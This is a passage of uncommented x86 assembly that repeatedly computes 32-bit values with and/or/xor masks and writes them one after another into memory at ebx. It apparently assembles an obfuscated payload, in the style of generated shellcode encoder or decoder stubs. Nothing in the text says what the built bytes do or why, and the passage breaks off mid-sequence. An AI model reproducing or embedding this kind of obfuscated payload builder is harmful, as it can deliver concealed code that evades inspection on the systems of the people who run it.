and eax, 0x4040000
or eax, 0x8880b00b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b469ca9
and eax, 0x40000
or eax, 0x757a0820
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7dc22d32
and eax, 0x49c63484
and eax, 0x840000
or eax, 0xb2319a1b
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa367331
and eax, 0x61a186d6
and eax, 0x200200
or eax, 0x6c8a59ee
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x23963002
and eax, 0x90c4268
or eax, 0xb0410011
mov dword [ebx], eax
add ebx, ecx
and eax, 0x888e666
and eax, 0x4240
or eax, 0x63f18c96
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bac829f
and eax, 0x28114c00
or eax, 0xd7828030
mov dword [ebx], eax
add ebx, ecx
and eax, 0x747512ab
and eax, 0x24b4c138
and eax, 0x20100020
or eax, 0x9ba7ff16
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5dc109a3
or eax, 0x78ece8c5
and eax, 0x9ebaa691
or eax, 0x1000122
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4e19035b
or eax, 0x56c994cc
and eax, 0x5019918b
or eax, 0x20002020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x66862769
and eax, 0x49b9042
or eax, 0xa120292d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ad3391d
and eax, 0x8d608072
or eax, 0x927680
mov dword [ebx], eax
add ebx, ecx
and eax, 0x579051a
and eax, 0x4200010
or eax, 0x7a0e3969
mov dword [ebx], eax
add ebx, ecx
and eax, 0x71066f4b
and eax, 0x10042908
or eax, 0x1108226
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48f3278
and eax, 0x2228
or eax, 0x34b84140
mov dword [ebx], eax
add ebx, ecx
or eax, 0x47051bcb
or eax, 0x66aaf96f
and eax, 0x61b0db4a
or eax, 0x88400010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x27859b2a
and eax, 0x3a528624
and eax, 0x20100020
or eax, 0xc42629d8
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3b7e3580
and eax, 0x6724ce24
and eax, 0x42000000
or eax, 0x502198
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3dacb6b2
xor eax, 0x2f1e843f
and eax, 0x50421005
or eax, 0x83054448
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x475a1d9
and eax, 0x5222b490
or eax, 0x2844002a
mov dword [ebx], eax
add ebx, ecx
and eax, 0x75d71dc0
and eax, 0x10400480
or eax, 0x80314165
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6a8be39a
xor eax, 0x567ed832
and eax, 0x4069820
or eax, 0x89806208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x47717a85
and eax, 0x5006000
or eax, 0x726e0183
mov dword [ebx], eax
add ebx, ecx
and eax, 0x21bd6ac1
and eax, 0x26e96b7e
and eax, 0x80000
or eax, 0x2551c94
mov dword [ebx], eax
add ebx, ecx
and eax, 0x561a9946
and eax, 0x181800
or eax, 0xcce30500
mov dword [ebx], eax
add ebx, ecx
or eax, 0xfe6fda8
and eax, 0x82973080
or eax, 0x10000255
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4d9f291d
xor eax, 0x43863ae4
and eax, 0x8c860104
or eax, 0x6370d240
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5d574b18
xor eax, 0x1a5517e9
and eax, 0x85a20804
or eax, 0x10543300
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a7cceb4
and eax, 0x114f4989
and eax, 0x10400000
or eax, 0x6131f7d9
mov dword [ebx], eax
add ebx, ecx
or eax, 0x552b7b4e
and eax, 0x71428034
and eax, 0x71000004
or eax, 0x80951d6b
mov dword [ebx], eax
add ebx, ecx
and eax, 0x62f6ab4f
and eax, 0x40840008
or eax, 0x9f63b680
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x31ce758f
or eax, 0x2869f426
and eax, 0x8469e703
or eax, 0x120090
mov dword [ebx], eax
add ebx, ecx
or eax, 0x45d70bb0
and eax, 0xc5f8c992
or eax, 0x800000c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c1ee4a
xor eax, 0x32773228
and eax, 0x9100cc16
or eax, 0x110208
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3842a2b3
and eax, 2
or eax, 0x85940188
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6d79f2f3
xor eax, 0x38e38e26
and eax, 0x34600404
or eax, 0x40082051
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x59f425f7
and eax, 0x34253cf4
and eax, 0x240000a0
or eax, 0x11013d1c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4313439d
and eax, 0x16003821
or eax, 0x88c80154
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7f8bda23
and eax, 0x801001
or eax, 0x156e544
mov dword [ebx], eax
add ebx, ecx
and eax, 0x691bea19
or eax, 0x8d1f144
and eax, 0x9d27000
or eax, 0x660c0432
mov dword [ebx], eax
add ebx, ecx
or eax, 0x44d8be8c
or eax, 0x7e650bcf
and eax, 0x1d5db8c7
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x640b79fe
or eax, 0x2d2cb422
and eax, 0x206d8483
or eax, 0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x262ff55a
and eax, 0x2028f48a
or eax, 0x18000804
mov dword [ebx], eax
add ebx, ecx
or eax, 0x437c58ab
and eax, 0x23557efa
and eax, 0x103c28
or eax, 0xd4200250
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6e4bd40d
and eax, 0x52285a69
and eax, 8
or eax, 0x44ce0c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3275f670
or eax, 0x74e66324
and eax, 0x34028244
or eax, 0x8a10081a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4838c58b
and eax, 0x3dd5c76
and eax, 0x2084444
or eax, 0x651121a1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2a0658f9
and eax, 0xc0
or eax, 0x99e8390c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5c1ff778
xor eax, 0x73f37aa7
and eax, 0x23e309e5
or eax, 0x84041010
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3e179972
or eax, 0x44ea46d
and eax, 0x2203a561
or eax, 0xd9004280
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4076f47f
and eax, 0x40150105
or eax, 0x800000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x16a1981c
and eax, 0x40148818
or eax, 0x80404400
mov dword [ebx], eax
add ebx, ecx
and eax, 0x31b1bd4d
and eax, 0x800
or eax, 0x854a62f7
mov dword [ebx], eax
add ebx, ecx
and eax, 0x64d129a0
and eax, 0x4002080
or eax, 0xa1a1504e
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4409682c
and eax, 0x4010000
or eax, 0xe1c40dd1
mov dword [ebx], eax
add ebx, ecx
and eax, 0x42ef1924
and eax, 0x40050100
or eax, 0x93027472
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6de27740
or eax, 0x4ec65033
and eax, 0x48654033
or eax, 0x1088d00
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4acc15b5
or eax, 0x41e5788
and eax, 0x80a4698
or eax, 0xa2000042
mov dword [ebx], eax
add ebx, ecx
and eax, 0x662cb31e
xor eax, 0xcb23d57
and eax, 0x2b03640
or eax, 0x41018022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4241ca18
and eax, 0x1d0385a
or eax, 0x240b0385
mov dword [ebx], eax
add ebx, ecx
and eax, 0x686ca963
xor eax, 0x67cb3f62
and eax, 0x45011001
or eax, 0x8074c154
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6c00d2f1
xor eax, 0x5c350f36
and eax, 0xa100d0c1
or eax, 0x812300
mov dword [ebx], eax
add ebx, ecx
and eax, 0x51aa5739
and eax, 0x1800101
or eax, 0xda69a41c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2cc3e94
and eax, 0x2400010
or eax, 0xc523db02
mov dword [ebx], eax
add ebx, ecx
and eax, 0x29495cfb
or eax, 0x2d724d57
and eax, 0x4624957
or eax, 0x82888220
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3b491b97
and eax, 0x400000
or eax, 0x980c040
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x169e2a0d
and eax, 0x312aa0c
or eax, 0xe0001002
mov dword [ebx], eax
add ebx, ecx
and eax, 0x50721065
and eax, 0x568b07e
and eax, 4
or eax, 0x6580e3d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a1606e
and eax, 0x440140c0
or eax, 0x100400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2e16a14e
or eax, 0x5229a90f
and eax, 0x50042005
or eax, 0x84801030
mov dword [ebx], eax
add ebx, ecx
or eax, 0x51b0bc4d
and eax, 0x10242c10
or eax, 0x14082
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x56d3a9b9
and eax, 0x4d0c001
or eax, 0xb8013084
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2aa5315b
and eax, 0x1024800c
or eax, 0x49082420
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3c8d0796
or eax, 0x3fb1cb5f
and eax, 0x2135a679
or eax, 0x1000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x6fbdfc82
xor eax, 0x5ea8537e
and eax, 0x200880
or eax, 0x352267a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x39251b3d
and eax, 0x2b69fc0f
and eax, 0x22402002
or eax, 0x958403b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73bb1143
or eax, 0x462102a5
and eax, 0x74ef2343
or eax, 0x8000800
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4f97623f
and eax, 0x86a6b38
or eax, 0x80009080
mov dword [ebx], eax
add ebx, ecx
and eax, 0x623c0caf
and eax, 0x80028
or eax, 0xe421100
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x518be5bd
and eax, 0x5ac0e005
or eax, 0xa03e026a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2183a679
xor eax, 0x55943b3a
and eax, 0x80e11d0c
or eax, 0x20140041
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5ccd5a20
and eax, 0x10000
or eax, 0x5a02c2e1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7631b292
and eax, 0x23f2e1
or eax, 0x44050c
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5dc1651f
and eax, 0x40041082
or eax, 0x80402401
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9b70dd9
and eax, 0xc0d21048
or eax, 0x8c4a4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6978a6e7
and eax, 0x40008060
or eax, 0x92a62109
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x75cd0b3c
and eax, 0x60a2a14
or eax, 0x894100a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x75e52791
and eax, 0x7f353a10
and eax, 0x58013a10
or eax, 0x808a45c2
mov dword [ebx], eax
add ebx, ecx
or eax, 0x336158c0
and eax, 0x488818d0
or eax, 0x10002d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24e35d1c
and eax, 0x606a0000
or eax, 0x8080a018
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c699ff9
and eax, 0x20200008
or eax, 0x18006420
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4cea3e5d
or eax, 0x642bc237
and eax, 0xc006425
or eax, 0x805409c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x411b7a4
and eax, 0x102484
or eax, 0x5a07da09
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x387364cb
and eax, 0x550e86e4
and eax, 0x40204
or eax, 0x3ea3099a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1616c862
and eax, 0x20300304
or eax, 0x47041c03
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2d5cb074
and eax, 0x21100000
or eax, 0xd22b262a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x449eaf18
xor eax, 0x53132670
and eax, 0x800c8942
or eax, 0x485140b0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5720296e
and eax, 0xcc408020
or eax, 0x820000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x56b7f80f
or eax, 0x528f3d47
and eax, 0x12efa828
or eax, 0x21000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b25fab3
and eax, 0x34fa60d2
and eax, 0x202000
or eax, 0x6458518b
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xd88623d
and eax, 0x8d01314
or eax, 0x1206c000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x19390b0f
or eax, 0x7309c2f8
and eax, 0x3308837c
or eax, 0x80a22003
mov dword [ebx], eax
add ebx, ecx
and eax, 0x60182907
and eax, 0x20002102
or eax, 0x98504028
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19e49fb9
and eax, 0x1a43610
or eax, 0x1409016c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x60eeb72d
and eax, 0x64c40531
or eax, 0x4080
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2b98b008
or eax, 0x5f7c9ab7
and eax, 0xa909081
or eax, 0x30040
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3955ba63
and eax, 0x101001
or eax, 0x302a2faa
mov dword [ebx], eax
add ebx, ecx
and eax, 0x34f0512c
xor eax, 0x2ddf9b65
and eax, 0x1d02080c
or eax, 0x2105490
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7fc83519
and eax, 0x1000018
or eax, 0xc0a561c6
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x19d86704
and eax, 0x6ff245bd
and eax, 0x400080
or eax, 0x960aaa44
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18405c1f
and eax, 0xe02c8dc
or eax, 0x1240020
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x104f56f6
and eax, 0xd298808
or eax, 0xe08660c5
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1cbe67bd
and eax, 0x4da3c94d
or eax, 0x2401000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x374f612c
and eax, 0x70c51800
or eax, 0x80000602
mov dword [ebx], eax
add ebx, ecx
or eax, 0xa0c47b1
and eax, 0x1f272fcb
and eax, 0x1a040c03
or eax, 0xc4389050
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd3b5d94
or eax, 0x2bab8ed5
and eax, 0x730a0d84
or eax, 0x400020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5e862824
or eax, 0x410673ac
and eax, 0x7e420908
or eax, 0x80100053
mov dword [ebx], eax
add ebx, ecx
or eax, 0x298c192f
and eax, 0x85dc0105
or eax, 0x21c600
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6ca7a64a
and eax, 0x35636c81
and eax, 0x10000
or eax, 0x43482344
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1dc92832
and eax, 0x46c92850
or eax, 0x80045008
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7f5e2a18
and eax, 0x2b903a48
or eax, 0x8122
mov dword [ebx], eax
add ebx, ecx
or eax, 0x1da136b0
xor eax, 0x6efe8436
and eax, 0x100f3380
or eax, 0x2e008031
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a12c4d8
or eax, 0x1c83d0
and eax, 0x6c11b0d9
or eax, 0x1e00804
mov dword [ebx], eax
add ebx, ecx
and eax, 0x49c790ed
xor eax, 0x7252ab34
and eax, 0x38811838
or eax, 0x4280404
mov dword [ebx], eax
add ebx, ecx
xor eax, 0xf206c1
and eax, 0x1441004d
or eax, 0x1a48402
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4b71fc72
xor eax, 0x1491ac42
and eax, 0x14000800
or eax, 0xa20e877d
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x7f805b51
and eax, 0x1001408
or eax, 0x12102051
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5be75312
and eax, 0x3001010
or eax, 0x283604e9
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6b1e3326
xor eax, 0x4bf56471
and eax, 0x20027000
or eax, 0x93140b00
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5c1ee162
and eax, 0xab081060
or eax, 0x1084249d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x680bb90e
xor eax, 0x3dec54ff
and eax, 0x4a06493
or eax, 0x9820c
mov dword [ebx], eax
add ebx, ecx
and eax, 0xfee85a3
and eax, 0x80080
or eax, 0x50145050
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3429fd48
and eax, 0x10000040
or eax, 0x69660f38
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1998c5a8
or eax, 0x8f89db1
and eax, 0x80801a8
or eax, 0x44044242
mov dword [ebx], eax
add ebx, ecx
or eax, 0x266f596f
and eax, 0x6991e414
and eax, 0x60014004
or eax, 0x137e0bd3
mov dword [ebx], eax
add ebx, ecx
or eax, 0x73b432e1
and eax, 0x63c9fd68
and eax, 0x1891820
or eax, 0x9030869b
mov dword [ebx], eax
add ebx, ecx
or eax, 0x62a1a6bd
and eax, 0x2321083d
or eax, 0x4444140
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x62ef03b
and eax, 0x141a106
or eax, 0x583002a0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3be555f3
and eax, 0x29c58716
or eax, 0xa0808
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3a4094c7
or eax, 0x61237e90
and eax, 0x22ae4289
or eax, 0x80400022
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x61e8aafd
xor eax, 0x54c383f5
and eax, 0x10814120
or eax, 0x2838040c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x48bc7a14
and eax, 0x78386e10
or eax, 0x86020042
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x294919ae
xor eax, 0x7181cb4e
and eax, 0x84c00480
or eax, 0x90c4141
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x58da1017
or eax, 0x629ec03a
and eax, 0xf11404c4
or eax, 0x8210800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46e8e069
xor eax, 0x1a384430
and eax, 0x25050814
or eax, 0x10084442
mov dword [ebx], eax
add ebx, ecx
and eax, 0x38cc53e0
xor eax, 0x1ea6f8c9
and eax, 0x2c809880
or eax, 0x50000714
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x9080ae7
or eax, 0x83f2c49
and eax, 0x292b0d18
or eax, 0x4084
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3f129e4c
or eax, 0x1a0f9396
and eax, 0x23910d2
or eax, 0x80002009
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x78ebec5
and eax, 0x4170a06
or eax, 0x10406020
mov dword [ebx], eax
add ebx, ecx
or eax, 0x7a862bb9
and eax, 0x141bec25
and eax, 0x122020
or eax, 0x22289450
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48d7e221
and eax, 0x22020
or eax, 0xb4000d6
mov dword [ebx], eax
add ebx, ecx
or eax, 0x66b3521c
and eax, 0x4f022012
or eax, 0xc8c01
mov dword [ebx], eax
add ebx, ecx
and eax, 0x4711934e
and eax, 0x6356f773
and eax, 0x42008002
or eax, 0x149d0b05
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5e32c822
and eax, 0x2100002
or eax, 0x6e7778
mov dword [ebx], eax
add ebx, ecx
and eax, 0x206ca5d7
and eax, 0x242140
or eax, 0xe512ca05
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x722a1aaf
and eax, 0x900011ea
or eax, 0x20400614
mov dword [ebx], eax
add ebx, ecx
or eax, 0x10da5a9c
and eax, 0x4c2ba008
and eax, 0x20008
or eax, 0x2cc457b4
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6af9021a
and eax, 0x8c00010
or eax, 0xc125b424
mov dword [ebx], eax
add ebx, ecx
and eax, 0x10a398a
or eax, 0x22468962
and eax, 0x60160
or eax, 0x1881020c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4706cf8b
and eax, 0x41818646
or eax, 0xa0481010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x46f24871
and eax, 0x8100c606
or eax, 0x88020d0
mov dword [ebx], eax
add ebx, ecx
or eax, 0xb24fe73
and eax, 0x8320b811
or eax, 0x700a0100
mov dword [ebx], eax
add ebx, ecx
or eax, 0x283b3ca6
xor eax, 0xc11bebf
and eax, 0x40220208
or eax, 0x10d003
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5a900f0c
and eax, 0x1a20c405
or eax, 0x644000c0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2fcec3e4
and eax, 0x26004080
or eax, 0x50842e0a
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3e555f4b
and eax, 0x7c953443
or eax, 0x80088034
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x20f66392
or eax, 0x59bd10b4
and eax, 0x81bf01e5
or eax, 0x808
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x462a165b
and eax, 0x409014a0
or eax, 0x10428000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x36289019
and eax, 0x10000000
or eax, 0x83ec6859
mov dword [ebx], eax
add ebx, ecx
or eax, 0x2418d673
xor eax, 0x181f2ddb
and eax, 0xaa829320
or eax, 0x401c0c4c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x36b13dd2
and eax, 0x9eaaa8e2
or eax, 0x404000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x169ed560
xor eax, 0x4cebe141
and eax, 0x50482
or eax, 0xd2a610c
mov dword [ebx], eax
add ebx, ecx
and eax, 0x13e16619
and eax, 0x1206400
or eax, 0xda4c0817
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x36b9e13d
or eax, 0x6381cdcc
and eax, 0x4e5144aa
or eax, 0x281210
mov dword [ebx], eax
add ebx, ecx
or eax, 0x240cb2d6
and eax, 0x6231b47a
or eax, 0x11800000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x48e9ed96
and eax, 0x40812010
or eax, 0x330e1861
mov dword [ebx], eax
add ebx, ecx
or eax, 0x769a6e49
xor eax, 0x76527f28
and eax, 0x40110
or eax, 0x4209020
mov dword [ebx], eax
add ebx, ecx
and eax, 0xa25f25d
xor eax, 0x21538c33
and eax, 0x21771402
or eax, 0x4e08a15c
mov dword [ebx], eax
add ebx, ecx
or eax, 0xe83f421
and eax, 0x64a6e44d
or eax, 0x90000200
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x790b3203
xor eax, 0x7d173650
and eax, 0x409ae204
or eax, 0xb4101e0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4b0c423a
and eax, 0x40d80048
or eax, 0x10200801
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5bfa5ec1
and eax, 0x8024080
or eax, 0x540024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4385814b
or eax, 0x138db54f
and eax, 0x819042
or eax, 0xa0200a10
mov dword [ebx], eax
add ebx, ecx
and eax, 0xf371aab
and eax, 0x1800
or eax, 0x3058216d
mov dword [ebx], eax
add ebx, ecx
and eax, 0x6c7dff7b
and eax, 0x20081060
or eax, 0x52054694
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1bbc75dd
and eax, 0x12000014
or eax, 0x872ab02
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x5d4b0d68
or eax, 0x406e4c0d
and eax, 0x41052472
or eax, 0x88800100
mov dword [ebx], eax
add ebx, ecx
and eax, 0x3ce5b1c5
and eax, 0x7fbbf5a8
and eax, 0x8800000
or eax, 0x40c8ccc
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2602fa78
and eax, 0x2042624
or eax, 0x80210048
mov dword [ebx], eax
add ebx, ecx
and eax, 0x335a3322
and eax, 0x2000
or eax, 0xdcb1490
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6b5f7374
and eax, 0x620d75f4
or eax, 0x809
mov dword [ebx], eax
add ebx, ecx
or eax, 0x6a1e02c8
and eax, 0x2a0b5944
or eax, 0x11000002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x666316b9
and eax, 0x3a1372c6
and eax, 0x8000002
or eax, 0x86f9bd09
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x2ff8fb84
and eax, 0xa1014088
or eax, 0x10f0a030
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x332f53b8
xor eax, 0x3ffddbfa
and eax, 0x8d216008
or eax, 0x40cc0400
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1ff8c6c7
and eax, 0x1010a04d
or eax, 0x29400d20
mov dword [ebx], eax
add ebx, ecx
or eax, 0x14b5c992
or eax, 0x452cb6f9
and eax, 0x500c07ba
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2e8a89b6
and eax, 0x110
or eax, 0x94b28a4c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x26ab9312
and eax, 0x80110b58
or eax, 0x90464a1
mov dword [ebx], eax
add ebx, ecx
or eax, 0x18b8e231
or eax, 0x71cd1fd7
and eax, 0xf1a8fae9
or eax, 0x4000000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x44e18e87
and eax, 0x3a580d37
and eax, 0
or eax, 0x9df23068
mov dword [ebx], eax
add ebx, ecx
and eax, 0x2f8b3e9c
and eax, 0x8800008
or eax, 0x626146c5
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4af6dc4d
and eax, 0x20018a00
or eax, 0x2a80462
mov dword [ebx], eax
add ebx, ecx
or eax, 0x397a43e8
or eax, 0x53b0b37f
and eax, 0x22422928
or eax, 0x84040000
mov dword [ebx], eax
add ebx, ecx
or eax, 0x456233ef
and eax, 0x230018a7
or eax, 0x10884000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x76e6d04b
and eax, 0x30801003
or eax, 0x844228c0
mov dword [ebx], eax
add ebx, ecx
or eax, 0x57dbd0c8
xor eax, 0x47645d41
and eax, 0x29848a
or eax, 0x2005224
mov dword [ebx], eax
add ebx, ecx
or eax, 0x4bbefdaa
and eax, 0x482e99ac
or eax, 0x10400001
mov dword [ebx], eax
add ebx, ecx
and eax, 0x53548859
and eax, 0x800
or eax, 0xb3a4484
mov dword [ebx], eax
add ebx, ecx
or eax, 0x781c0cf7
and eax, 0x2ae50b11
and eax, 0x8200011
or eax, 0x501ad4aa
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x4bb15b31
or eax, 0x1c44b6d3
and eax, 0x2491813
or eax, 0xc0004024
mov dword [ebx], eax
add ebx, ecx
or eax, 0x15d50685
and eax, 0x31d5421
or eax, 0x28222148
mov dword [ebx], eax
add ebx, ecx
and eax, 0x7e165083
or eax, 0x4edb0fdd
and eax, 0x44cc05d4
or eax, 0x10200000
mov dword [ebx], eax
add ebx, ecx
and eax, 0x5aa1e1c9
and eax, 0x200180
or eax, 0xa24d6800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3e0f71eb
and eax, 0x9c22002a
or eax, 0x21148384
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3650fa86
or eax, 0x70de17e7
and eax, 0xe26834af
or eax, 0x10010
mov dword [ebx], eax
add ebx, ecx
or eax, 0x392153ea
or eax, 0x145e66a3
and eax, 0x702c00b2
or eax, 0x8800
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x24a645a
and eax, 0x4004c4c8
or eax, 0x1100214
mov dword [ebx], eax
add ebx, ecx
and eax, 0xb8e9d90
and eax, 0x7eb50ab5
and eax, 0x40080
or eax, 0xa3e04c4c
mov dword [ebx], eax
add ebx, ecx
or eax, 0x79427361
and eax, 0x8827be8
or eax, 0x4190010
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3beef459
and eax, 0x6377ae76
and eax, 0x408620
or eax, 0x88a4091
mov dword [ebx], eax
add ebx, ecx
or eax, 0x5fb68be9
and eax, 0x4b160741
or eax, 0x20003006
mov dword [ebx], eax
add ebx, ecx
and eax, 0x1a843b6d
xor eax, 0x6f809910
and eax, 0x24840011
or eax, 0x986b0408
mov dword [ebx], eax
add ebx, ecx
and eax, 0x322c8caf
and eax, 0x10040009
or eax, 0x40412a24
mov dword [ebx], eax
add ebx, ecx
or eax, 0x370fde55
or eax, 0x1838327d
and eax, 0x5f7b401d
or eax, 0x80000000
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x3adc0a7
and eax, 0x50c40092
or eax, 0x3011040
mov dword [ebx], eax
add ebx, ecx
or eax, 0x660dc19e
xor eax, 0xbf1049f
and eax, 0x2c380441
or eax, 0x8102220a
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x523ee0a1
and eax, 0xe900400a
or eax, 0x880815
mov dword [ebx], eax
add ebx, ecx
or eax, 0x271ec85a
and eax, 0x1aac81e8
and eax, 0x8848040
or eax, 0x95220205
mov dword [ebx], eax
add ebx, ecx
or eax, 0x54c5cd84
and eax, 0x8c848881
or eax, 0x22003002
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x1855d61e
and eax, 0x25e6a431
and eax, 0x2411
or eax, 0xc83f11a0
mov dword [ebx], eax
add ebx, ecx
and eax, 0x464c82ea
and eax, 0x800a0
or eax, 0xc1f808
mov dword [ebx], eax
add ebx, ecx
or eax, 0x3a6dcd80
xor eax, 0x3eee2c8e
and eax, 0x4005022
or eax, 0xc0fc2840
mov dword [ebx], eax
add ebx, ecx
or eax, 0xd543e08
and eax, 0x41d4680a
or eax, 0x22000115
mov dword [ebx], eax
add ebx, ecx
xor eax, 0x34a0098d
